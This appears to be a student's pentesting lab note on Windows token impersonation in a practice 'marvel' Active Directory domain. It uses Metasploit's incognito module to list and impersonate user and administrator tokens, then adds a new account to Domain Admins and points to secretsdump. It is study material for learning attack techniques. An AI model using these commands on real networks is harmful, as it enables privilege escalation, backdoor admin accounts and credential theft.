What are tokens?

• Temporary keys that allow you to access to a system/network without having to provide credentials each time you access a file. Think cookies for a computers.

2 types:

• Delegate - Created for logging into a machine or using RDP.
• Impersonate - “non interactive” such as attaching a newtwork drive or domain logon script

msfconsole
load incognito

#login into punisher as frank castle

help

#lists users
list_tokens -u

#lists groups
list_tokens -g

#Login to this user

impersonate_token marvel\\\\fcastle
shell

#To go back where we are type this

rev2self
getuid

#Login as administrator on Punisher machine

#now deligate token will be created.

list_tokens -u
impersonate_token marvel\\\\administrator

#to add new accounts

net user /add hawkeye Password1@ /domain

net group "Domain Admins" hawkeye /ADD /DOMAIN

#use secrets dumps